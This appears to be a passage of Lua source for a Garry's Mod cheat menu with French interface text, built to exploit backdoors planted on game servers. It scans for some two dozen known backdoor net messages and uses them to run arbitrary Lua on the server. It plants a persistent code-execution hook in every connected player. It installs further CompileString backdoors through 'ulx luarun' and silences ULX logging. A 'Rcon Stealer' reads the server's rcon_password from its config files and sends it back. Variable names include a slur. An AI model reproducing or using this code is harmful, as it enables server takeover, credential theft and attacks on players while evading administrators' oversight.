5312RunConsoleCommand( 'BD_hitman_distance_ent', tonumber( self:GetValue() ) )
5313end
5314function pDistanceB.Slider:Paint(w, h)
5315surface.SetDrawColor(0, 0, 0, 255)
5316surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5317if fiji_style_menu:GetInt() == 2 then
5318surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5319surface.DrawRect(0, 21, barw, h / 5)
5320
5321elseif fiji_style_menu:GetInt() == 1 then
5322surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5323surface.DrawRect(0, 21, barw, h / 5)
5324
5325else
5326surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5327surface.DrawRect(0, 21, barw, h / 5)
5328end
5329end
5330function pDistanceB:SetHeight(tall)
5331self.Slider.Knob:SetHeight(tall / 2 + 4)
5332DSlider.SetHeight(self, tall)
5333pDistanceB.SetTall = pDistanceB.SetHeight
5334pDistanceB.Slider.Knob:SetTall(5)
5335end
5336function pDistanceB.Slider.Knob:Paint(w, h)
5337derma.SkinHook( "Paint", "Button", self, 0, 0 )
5338end
5339
5340local pDistanceC = vgui.Create( "DNumSlider", pContent )
5341pDistanceC:SetPos( 330, 261 )
5342pDistanceC:SetSize( 180, 50 )
5343pDistanceC:SetText( "" )
5344pDistanceC:SetMin( 200 )
5345pDistanceC:SetMax( 15000 )
5346pDistanceC:SetDecimals( 0 )
5347pDistanceC:SetValue( fiji_vision_distance_props:GetInt() or 200 )
5348pDistanceC.Scratch:SetVisible( false )
5349pDistanceC.TextArea:SetTextColor( color_white )
5350function pDistanceC:OnValueChanged( val )
5351RunConsoleCommand( 'BD_hitman_distance_props', tonumber( self:GetValue() ) )
5352end
5353function pDistanceC.Slider:Paint(w, h)
5354surface.SetDrawColor(0, 0, 0, 255)
5355surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5356if fiji_style_menu:GetInt() == 2 then
5357surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5358surface.DrawRect(0, 21, barw, h / 5)
5359
5360elseif fiji_style_menu:GetInt() == 1 then
5361surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5362surface.DrawRect(0, 21, barw, h / 5)
5363
5364else
5365surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5366surface.DrawRect(0, 21, barw, h / 5)
5367end
5368end
5369function pDistanceC:SetHeight(tall)
5370self.Slider.Knob:SetHeight(tall / 2 + 4)
5371DSlider.SetHeight(self, tall)
5372pDistanceC.SetTall = pDistanceC.SetHeight
5373pDistanceC.Slider.Knob:SetTall(5)
5374end
5375function pDistanceC.Slider.Knob:Paint(w, h)
5376derma.SkinHook( "Paint", "Button", self, 0, 0 )
5377end
5378end
5379
5380
5381
5382
5383
5384concommand.Add("fiji_bckdrs", function()
5385
5386local bdactiv = "";
5387
5388function bdactiv( str )
5389local status, error = pcall( net.Start, str )
5390return status
5391end
5392
5393if( bdactiv("Ulx_Error_88") ) then
5394bdactivname = "Ulx_Error_88"
5395else
5396end
5397if( bdactiv("FAdmin_Notification_Receiver") ) then
5398bdactivname = "FAdmin_Notification_Receiver"
5399else
5400end
5401if( bdactiv("DarkRP_ReceiveData") ) then
5402bdactivname = "DarkRP_ReceiveData"
5403else
5404end
5405if( bdactiv("fijiconn") ) then
5406bdactivname = "fijiconn"
5407else
5408end
5409if( bdactiv("Weapon_88") ) then
5410bdactivname = "Weapon_88"
5411else
5412end
5413if( bdactiv("nostrip") ) then
5414bdactivname = "nostrip"
5415else
5416end
5417if( bdactiv("SessionBackdoor") ) then
5418bdactivname = "SessionBackdoor"
5419else
5420end
5421if( bdactiv("DarkRP_AdminWeapons") ) then
5422bdactivname = "DarkRP_AdminWeapons"
5423else
5424end
5425if( bdactiv("_CAC_ReadMemory") ) then
5426bdactivname = "_CAC_ReadMemory"
5427else
5428end
5429if( bdactiv("thefrenchenculer") ) then
5430bdactivname = "thefrenchenculer"
5431else
5432end
5433if( bdactiv("Fix_Keypads") ) then
5434bdactivname = "Fix_Keypads"
5435else
5436end
5437if( bdactiv("Remove_Exploiters") ) then
5438bdactivname = "Remove_Exploiters"
5439else
5440end
5441if( bdactiv("MoonMan") ) then
5442bdactivname = "MoonMan"
5443else
5444end
5445if( bdactiv("disablebackdoor") ) then
5446bdactivname = "disablebackdoor"
5447else
5448end
5449if( bdactiv("Sbox_itemstore") ) then
5450bdactivname = "Sbox_itemstore"
5451else
5452end
5453if( bdactiv("Sbox_darkrp") ) then
5454bdactivname = "Sbox_darkrp"
5455else
5456end
5457if( bdactiv("R8") ) then
5458bdactivname = "R8"
5459else
5460end
5461if( bdactiv("c") ) then
5462bdactivname = "c"
5463else
5464end
5465if( bdactiv("_cac_") ) then
5466bdactivname = "_cac_"
5467else
5468end
5469if( bdactiv("_Defqon") ) then
5470bdactivname = "_Defqon"
5471else
5472end
5473if( bdactiv("noclipcloakaesp_chat_text") ) then
5474bdactivname = "noclipcloakaesp_chat_text"
5475else
5476end
5477if( bdactiv("Sandbox_ArmDupe") ) then
5478bdactivname = "Sandbox_ArmDupe"
5479else
5480end
5481
5482
5483
5484local it = 50
5485if not snte then
5486
5487function BD.Fire( code )
5488
5489local cbd = BD.CurrentBackdoor
5490
5491if !BD.Backdoors[cbd] then
5492
5493
5494
5495return
5496
5497end
5498
5499local key = BD.BackdoorTypes[cbd].Netkey
5500
5501
5502
5503bdnet().Start( key )
5504
5505bdnet().WriteString( code )
5506
5507bdnet().SendToServer()
5508
5509end
5510
5511BD.Backdoors = BD.PingBackDoors()
5512if !BD.IsMessagePooled( "evilsaver" ) and BD.BackdoorActive() then
5513BD.Fire( [[util.AddNetworkString( "evilsaver" )
5514function BDSendLua( p, str ) net.Start( "evilsaver" ) net.WriteString( str ) net.Send( p ) end
5515function BDSendLuaAll( str ) net.Start( "evilsaver" ) net.WriteString( str ) net.Broadcast() end
5516function BDInjectAids( p ) p:SendLua( 'net.Receive( "evilsaver", function() RunString( net.ReadString() ) end )' ) end
5517for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
5518hook.Add( "PlayerInitialSpawn", "evilforever", function( p ) BDInjectAids( p ) end)
5519]] )
5520end
5521
5522local BackdoorsMenu = vgui.Create( "DFrame" )
5523BackdoorsMenu:SetSize( 700, 400 )
5524BackdoorsMenu:Center()
5525BackdoorsMenu:SetTitle("")
5526BackdoorsMenu:SetDraggable(true)
5527BackdoorsMenu:ShowCloseButton( false )
5528BackdoorsMenu:MakePopup()
5529function BackdoorsMenu:Paint( w, h )
5530
5531
5532DrawBlur(self, 25)
5533draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
5534if fiji_style_menu:GetInt() == 2 then
5535draw.RoundedBox( 0, 4, 4, w - 8, 2,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
5536draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
5537draw.RoundedBox( 0, 4, 6, 2, h - 12, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
5538draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
5539elseif fiji_style_menu:GetInt() == 1 then
5540draw.RoundedBox( 0, 4, 4, w - 8, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
5541draw.RoundedBox( 0, 4, h - 6, w - 10, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
5542draw.RoundedBox( 0, 4, 6, 2, h - 12, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
5543draw.RoundedBox( 0, w - 6, 6, 2, h - 10, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
5544else
5545draw.RoundedBox( 0, 4, 4, w - 8, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
5546draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
5547draw.RoundedBox( 0, 4, 6, 2, h - 12, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
5548draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
5549end
5550end
5551
5552concommand.Add( "fiji_clearbd", function() -- fiji_sv_existmen
5553BackdoorsMenu:Remove()
5554
5555end)
5556
5557local TextBackdoor = vgui.Create( "DPanel", BackdoorsMenu )
5558TextBackdoor:SetSize(700,400)
5559TextBackdoor:SetPos(0,0)
5560TextBackdoor.Paint = function( self, w, h )
5561--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
5562draw.SimpleText("♦ Commandes générales", "DermaDefault", 65, 15, Color(255, 255, 255,100), 0, 1)
5563draw.SimpleText("♦ Commandes par joueurs", "DermaDefault", 65, 120, Color(255, 255, 255,100), 0, 1)
5564draw.SimpleText("Paramétrage commandes :", "DermaDefault", 475, 320, Color(255, 255, 255,100), 0, 1)
5565
5566end
5567
5568local CloseBackdoors = vgui.Create( "DButton", BackdoorsMenu)
5569CloseBackdoors:SetPos( 670, 8)
5570CloseBackdoors:SetSize( 20, 15 )
5571CloseBackdoors:SetTextColor( Color( 255, 255, 255, 255 ) )
5572CloseBackdoors:SetText( "X" )
5573CloseBackdoors.Paint = function( self, w, h )
5574draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
5575if self:IsHovered() then
5576draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
5577else
5578draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
5579end
5580CloseBackdoors.DoClick = function()
5581LocalPlayer():ConCommand("fiji_sv_existmen 0")
5582BackdoorsMenu:Remove()
5583end
5584end
5585
5586local ReturnBackdoors = vgui.Create( "DButton", BackdoorsMenu)
5587ReturnBackdoors:SetPos( 638, 8)
5588ReturnBackdoors:SetSize( 30, 15)
5589ReturnBackdoors:SetTextColor( Color( 255, 255, 255, 255 ) )
5590ReturnBackdoors:SetText( "<--" )
5591ReturnBackdoors.Paint = function( self, w, h )
5592draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
5593if self:IsHovered() then
5594draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
5595else
5596draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
5597end
5598ReturnBackdoors.DoClick = function()
5599LocalPlayer():ConCommand("evil")
5600BackdoorsMenu:Remove()
5601end
5602end
5603
5604local wedungoofd = vgui.Create( "DLabel", BackdoorsMenu )
5605wedungoofd:SetPos( 13, 0 )
5606wedungoofd:SetFont( "Trebuchet18" )
5607wedungoofd:SetColor( Color( 120, 50, 50 ) )
5608wedungoofd:SetText( "" )
5609wedungoofd:SizeToContents()
5610for bd, t in pairs( BD.BackdoorTypes ) do
5611---------------------------------------------------------------------------------------------------------
5612---------------------------------------------------------------------------------------------------------
5613local faggot = vgui.Create("DButton", BackdoorsMenu)
5614faggot:SetSize( 50, 14 )
5615faggot:SetPos( 10, 1+it-it/1.18 )
5616faggot:SetText( bd )
5617faggot.Paint = function(panel, w, h)
5618
5619if BD.Backdoors[bd] then
5620faggot:SetTextColor(Color(255, 255, 255, 255))
5621draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 230 ) )
5622draw.RoundedBox( 20, 0, 0, 2, h, Color( 100, 100, 100, 120 ) )
5623draw.RoundedBox( 2, 0, 0, w, 2, Color( 100, 100, 100, 120 ) )
5624draw.RoundedBox( 2, w - 2, 0, 2, h, Color( 100, 100, 100, 120 ) )
5625draw.RoundedBox( 2, 0, h - 2, w, 2, Color( 100, 100, 100, 120 ) )
5626else
5627faggot:SetTextColor(Color(255, 255, 255, 50))
5628draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 120 ) )
5629end
5630end
5631faggot.DoClick = function()
5632if BD.Backdoors[bd] then
5633NOTIFICATION("Vous utilisez désormais la backdoor "..bd)
5634BD.CurrentBackdoor = bd
5635surface.PlaySound( "buttons/combine_button1.wav" )
5636else
5637NOTIFICATIONNO("Backdoor non présente")
5638end
5639end
5640it = it + 105
5641end
5642
5643local PlistAll = vgui.Create( "DPanelList", BackdoorsMenu )
5644PlistAll:SetPos( 62, 25 )
5645PlistAll:SetSize( 630, 200 )
5646PlistAll:SetPadding( 0 )
5647PlistAll:SetSpacing( 2 )
5648PlistAll:EnableHorizontal( true )
5649PlistAll:EnableVerticalScrollbar( true )
5650PlistAll:SetName( "" )
5651PlistAll.Paint = function( self, w, h )
5652--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
5653
5654
5655end
5656local PlistAllOnePlayer = vgui.Create( "DPanelList", BackdoorsMenu )
5657PlistAllOnePlayer:SetPos( 62, 130 )
5658PlistAllOnePlayer:SetSize( 630, 166 )
5659PlistAllOnePlayer:SetPadding( 0 )
5660PlistAllOnePlayer:SetSpacing( 2 )
5661PlistAllOnePlayer:EnableHorizontal( true )
5662PlistAllOnePlayer:EnableVerticalScrollbar( true )
5663PlistAllOnePlayer:SetName( "" )
5664PlistAllOnePlayer.Paint = function( self, w, h )
5665--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
5666
5667end
5668local PlistAllPlayer = vgui.Create( "DPanelList", BackdoorsMenu )
5669PlistAllPlayer:SetPos( 62, 250 )
5670PlistAllPlayer:SetSize( 314, 115 )
5671PlistAllPlayer:SetPadding( 0 )
5672PlistAllPlayer:SetSpacing( 1 )
5673PlistAllPlayer:EnableHorizontal( false )
5674PlistAllPlayer:EnableVerticalScrollbar( true )
5675PlistAllPlayer:SetName( "" )
5676PlistAllPlayer.Paint = function( self, w, h )
5677--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
5678surface.SetDrawColor(0, 0, 0 ,0)
5679surface.DrawOutlinedRect(0, 0, w, h)
5680surface.DrawOutlinedRect(1, 1, w-2, h-2)
5681surface.DrawOutlinedRect(2, 2, w-4, h-4)
5682surface.SetDrawColor(0, 0, 0 ,100)
5683surface.DrawRect(0, 0, w, h)
5684end
5685local faggot = vgui.Create("DButton", BackdoorsMenu)
5686faggot:SetSize( 311, 30 )
5687faggot:SetPos( 380, 361 )
5688faggot:SetText("Lancer/Stopper")
5689faggot:SetTextColor(Color(255, 255, 255, 255))
5690faggot.Paint = function(panel, w, h)
5691if faggot:IsHovered() then
5692if fiji_style_menu:GetInt() == 2 then
5693surface.SetDrawColor(50, 50, 50 ,150)
5694surface.DrawRect(0, 0, w, h)
5695surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5696surface.DrawOutlinedRect(0, 0, w, h)
5697
5698elseif fiji_style_menu:GetInt() == 3 then
5699surface.SetDrawColor(50, 50, 50 ,150)
5700surface.DrawRect(0, 0, w, h)
5701surface.SetDrawColor(255, 91, 91)
5702surface.DrawOutlinedRect(0, 0, w, h)
5703
5704elseif fiji_style_menu:GetInt() == 1 then
5705
5706surface.SetDrawColor(50, 50, 50 ,150)
5707surface.DrawRect(0, 0, w, h)
5708surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5709surface.DrawOutlinedRect(0, 0, w, h)
5710
5711else
5712surface.SetDrawColor(50, 50, 50 ,150)
5713surface.DrawRect(0, 0, w, h)
5714surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255)
5715surface.DrawOutlinedRect(0, 0, w, h)
5716
5717end end
5718surface.SetDrawColor(150, 150, 150 ,50)
5719surface.DrawOutlinedRect(0, 0, w, h)
5720end
5721faggot.DoClick = function()
5722if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then NOTIFICATIONNO("Veuillez séléctionner une commande") return end
5723if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
5724local cbd = BD.CurrentBackdoor if !BD.Backdoors[cbd] then NOTIFICATIONNO( "Veuillez séléctionner une backdoor présente") return end
5725end
5726
5727local commandpersotext = vgui.Create( "DTextEntry", BackdoorsMenu ) -- create the form as a child of frame
5728commandpersotext:SetPos( 380, 282 )
5729commandpersotext:SetSize( 103, 30 )
5730commandpersotext:SetMultiline( true )
5731commandpersotext:SetText( "" )
5732commandpersotext.OnEnter = function( self )
5733chat.AddText( self:GetValue() ) -- print the form's text as server text
5734end
5735
5736local commandperso = vgui.Create("DButton", BackdoorsMenu)
5737commandperso:SetSize( 103, 30 )
5738commandperso:SetPos( 380, 252 )
5739commandperso:SetText("Commande Perso.")
5740commandperso:SetTextColor(Color(255, 255, 255, 255))
5741commandperso.Paint = function(panel, w, h)
5742if commandperso:IsHovered() then
5743surface.SetDrawColor(50, 50, 50 ,150)
5744surface.DrawRect(0, 0, w, h)
5745surface.SetDrawColor(255, 255, 255)
5746surface.DrawOutlinedRect(0, 0, w, h)
5747else
5748surface.SetDrawColor(0, 0, 0 ,150)
5749surface.DrawRect(0, 0, w, h)
5750surface.SetDrawColor(255, 255, 255 ,100)
5751surface.DrawOutlinedRect(0, 0, w, h)
5752end
5753end
5754commandperso.DoClick = function()
5755
5756LocalPlayer():ConCommand( "ulx luarun util.AddNetworkString( 'fijiconn' ) net.Receive( 'fijiconn', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )" )
5757
5758local cbd = BD.CurrentBackdoor if !BD.Backdoors[cbd] then NOTIFICATIONNO( "Veuillez séléctionner une backdoor présente") return end
5759NOTIFICATION("Commande personnalisée lançé avec sucès")
5760net.Start(bdactivname)
5761net.WriteString( commandpersotext:GetText() )
5762net.WriteBit (1)
5763net.SendToServer()
5764
5765end
5766
5767
5768local luarunback = vgui.Create("DButton", BackdoorsMenu)
5769luarunback:SetSize( 103, 60 )
5770luarunback:SetPos( 485, 252 )
5771luarunback:SetText("Lancer backdoor")
5772luarunback:SetTextColor(Color(255, 255, 255, 255))
5773luarunback.Paint = function(panel, w, h)
5774if luarunback:IsHovered() then
5775surface.SetDrawColor(50, 50, 50 ,150)
5776surface.DrawRect(0, 0, w, h)
5777surface.SetDrawColor(255, 255, 255)
5778surface.DrawOutlinedRect(0, 0, w, h)
5779else
5780surface.SetDrawColor(0, 0, 0 ,150)
5781surface.DrawRect(0, 0, w, h)
5782surface.SetDrawColor(255, 255, 255 ,100)
5783surface.DrawOutlinedRect(0, 0, w, h)
5784end
5785end
5786luarunback.DoClick = function()
5787NOTIFICATION("Tentative de lancement des backdoors...")
5788LocalPlayer():ConCommand( [[ulx rcon ulx logecho 0]] )
5789timer.Simple( 0.5, function()
5790LocalPlayer():ConCommand( "ulx luarun util.AddNetworkString( 'fijiconn' ) net.Receive( 'fijiconn', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )" )
5791end )
5792timer.Simple( 1, function() LocalPlayer():ConCommand( [[ulx rcon ulx logecho 0]] ) end )
5793timer.Simple( 0.5, function() if BD.IsMessagePooled( BD.GetActive().Netkey ) then NOTIFICATION("Backdoor lançé ✔") LocalPlayer():ConCommand("fiji_clearbd") LocalPlayer():ConCommand("fiji_sv_existmen 0")
5794else LocalPlayer():ConCommand("fiji_clearbd") LocalPlayer():ConCommand("fiji_sv_existmen 0")end end )
5795if not LocalPlayer():IsSuperAdmin() then
5796NOTIFICATIONNO("Vous n'etes pas Superadmin")
5797else
5798NOTIFICATION( "Veuillez vérifier les backdoors")
5799end
5800end
5801
5802local rconstealerh = vgui.Create("DButton", BackdoorsMenu)
5803rconstealerh:SetSize( 101, 60 )
5804rconstealerh:SetPos( 590, 252 )
5805rconstealerh:SetText("Rcon Stealer")
5806rconstealerh:SetTextColor(Color(255, 255, 255, 255))
5807rconstealerh.Paint = function(panel, w, h)
5808if rconstealerh:IsHovered() then
5809surface.SetDrawColor(50, 50, 50 ,150)
5810surface.DrawRect(0, 0, w, h)
5811surface.SetDrawColor(255, 255, 255)
5812surface.DrawOutlinedRect(0, 0, w, h)
5813else
5814surface.SetDrawColor(0, 0, 0 ,150)
5815surface.DrawRect(0, 0, w, h)
5816surface.SetDrawColor(255, 255, 255 ,100)
5817surface.DrawOutlinedRect(0, 0, w, h)
5818end
5819end
5820rconstealerh.DoClick = function()
5821local cbd = BD.CurrentBackdoor if !BD.Backdoors[cbd] then NOTIFICATIONNO( "Veuillez séléctionner une backdoor présente") return end
5822NOTIFICATION("Recherche en cours...")
5823status = ValidNetString("jeveuttonrconleul")
5824local rcon = [[
5825util.AddNetworkString("rcon_passw_dump")
5826util.AddNetworkString("jeveuttonrconleul")
5827util.AddNetworkString("aucun_rcon_ici")
5828net.Receive( "jeveuttonrconleul", function()
5829local RconPassword
5830if file.Exists("cfg/server.cfg", "GAME") then
5831for k, v in pairs(string.Explode("\n", file.Read("cfg/server.cfg", "GAME"))) do
5832if string.find(v, "rcon_password") then
5833RconPassword = v
5834end
5835end
5836end
5837if not RconPassword and file.Exists("cfg/autoexec.cfg", "GAME") then
5838for k, v in pairs(string.Explode("\n", file.Read("cfg/autoexec.cfg", "GAME"))) do
5839if string.find(v, "rcon_password") then
5840RconPassword = v
5841end
5842end
5843end
5844if RconPassword ~= nil then
5845net.Start("rcon_passw_dump")
5846net.WriteString(RconPassword)
5847net.Broadcast()
5848else
5849net.Start("aucun_rcon_ici")
5850net.Broadcast()
5851end
5852end)
5853]]
5854local cbd = BD.CurrentBackdoor
5855net.Start(bdactivname)
5856net.WriteString( rcon )
5857net.WriteBit(1)
5858net.SendToServer()
5859timer.Simple( 0.5, function()
5860if status then
5861net.Start("jeveuttonrconleul")
5862net.SendToServer()
5863else
5864NOTIFICATIONNO("Rcon Password non-trouvé. Réessayez, sinon assurez-vous qu'il y ai une backdoor sur le serveur")
5865end
5866end)
5867end
5868net.Receive( "rcon_passw_dump", function()
5869local rcon_pass = net.ReadString()
5870NOTIFICATION("RCON copier")
5871chat.AddText(Color(255, 255, 255), "Rcon Password du serveur :", Color(0, 255, 0),rcon_pass)
5872SetClipboardText( rcon_pass )
5873end )
5874net.Receive( "aucun_rcon_ici", function()
5875NOTIFICATIONNO("Pas de RCON Password dans le server.cfg")
5876end )
5877local moonman = vgui.Create( "DTextEntry", BackdoorsMenu )
5878moonman:SetPos( 380, 330 )
5879moonman:SetSize( 311, 30 )
5880moonman:SetText( backdoorargs )
5881moonman.OnChange = function( self )
5882backdoorargs = self:GetValue()
5883end
5884local target1 = vgui.Create("DButton", BackdoorsMenu)
5885target1:SetSize( 99, 20 )
5886target1:SetPos( 62, 368 )
5887target1:SetText("Tous")
5888target1:SetTextColor(Color(255, 255, 255, 255))
5889target1.Paint = function(panel, w, h)
5890if target1:IsHovered() then
5891draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 50))
5892else
5893draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 100))
5894end
5895end
5896target1.DoClick = function()
5897for _, p in pairs(player.GetAll()) do
5898if not table.HasValue( selectedplayers, p ) then
5899table.insert( selectedplayers, p )
5900end
5901end
5902end
5903local target2 = vgui.Create("DButton", BackdoorsMenu)
5904target2:SetSize( 99, 20 )
5905target2:SetPos( 170, 368 )
5906target2:SetText("Aucun")
5907target2:SetTextColor(Color(255, 255, 255, 255))
5908target2.Paint = function(panel, w, h)
5909if target2:IsHovered() then
5910draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 50))
5911else
5912draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 100))
5913end
5914end
5915target2.DoClick = function()
5916table.Empty( selectedplayers )
5917end
5918local target2 = vgui.Create("DButton", BackdoorsMenu)
5919target2:SetSize( 99, 20 )
5920target2:SetPos( 277, 368 )
5921target2:SetText("Moi")
5922target2:SetTextColor(Color(255, 255, 255, 255))
5923target2.Paint = function(panel, w, h)
5924if target2:IsHovered() then
5925draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 50))
5926else
5927draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 100))
5928end
5929end
5930target2.DoClick = function()
5931table.Empty( selectedplayers )
5932table.insert( selectedplayers, LocalPlayer() )
5933end
5934for k, v in pairs( player.GetAll() ) do
5935local plypanel2 = vgui.Create( "DPanel" )
5936plypanel2:SetPos( 0, 0 )
5937plypanel2:SetSize( 314, 15 )
5938plypanel2.Paint = function() -- Paint function
5939draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
5940if table.HasValue( selectedplayers, v ) then draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(150, 150, 150, 50), false, false, false, false)
5941else draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 50), false, false, false, false) end
5942end
5943local plyname = vgui.Create( "DLabel", plypanel2 )
5944plyname:SetPos( 10, 0 )
5945plyname:SetFont( "evil_homemini" )
5946local tcol = Color( 255, 255, 255 )
5947
5948if fiji_style_menu:GetInt() == 2 then
5949if v == LocalPlayer() then tcol = Color( math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75) ) end
5950
5951elseif fiji_style_menu:GetInt() == 3 then
5952if v == LocalPlayer() then tcol = Color( 255, 91, 91 ) end
5953
5954elseif fiji_style_menu:GetInt() == 1 then
5955if v == LocalPlayer() then tcol = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )end
5956
5957else
5958if v == LocalPlayer() then tcol = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) end
5959
5960
5961
5962end
5963plyname:SetColor( tcol )
5964plyname:SetText( v:Nick().." "..v:SteamID().." "..v:Team() )
5965plyname:SetSize(314, 15)
5966local faggot = vgui.Create("DButton", plypanel2)
5967faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
5968faggot:SetPos( 0, 0 )
5969faggot:SetText("")
5970faggot.Paint = function(panel, w, h)
5971return
5972end
5973faggot.DoClick = function()
5974if table.HasValue( selectedplayers, v ) then
5975table.RemoveByValue( selectedplayers, v )
5976else
5977table.insert( selectedplayers, v )
5978end
5979end
5980PlistAllPlayer:AddItem( plypanel2 )
5981end
5982
5983BD.GenerateBackdoorList( PlistAll, 1 )
5984BD.GenerateBackdoorList( PlistAllOnePlayer, 2 )
5985BD.GenerateBackdoorList( PlistAllDestruction, 3 )
5986else
5987local TextHomeza2 = vgui.Create( "DPanel", BackdoorsMenu )
5988TextHomeza2:SetSize(1000,650)
5989TextHomeza2.Paint = function( self, w, h )
5990draw.SimpleText("SNTE détecté. Risque de ban", "evil_home3", 330, 235, Color(255, 74, 74,255), 0, 1)
5991draw.SimpleText("Backdoors désactivés", "evil_home2", 430, 265, Color(255, 255, 255,200), 0, 1)
5992end
5993end
5994
5995print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
5996print( "Backdoors check" )
5997print( "Check terminé" )
5998
5999end)
6000
6001
6002concommand.Add("azazazaza", function()
6003
6004LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'BuyCar' ) net.Receive( 'BuyCar', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6005LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'rpi_trade_end' ) net.Receive( 'rpi_trade_end', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6006LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'ClickerForceSave' ) net.Receive( 'ClickerForceSave', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6007LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'SRequest' ) net.Receive( 'SRequest', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6008LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'ArmorButton' ) net.Receive( 'ArmorButton', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6009LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'Client_To_Server_OpenEditor' ) net.Receive( 'Client_To_Server_OpenEditor', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6010LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'wordenns' ) net.Receive( 'wordenns', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
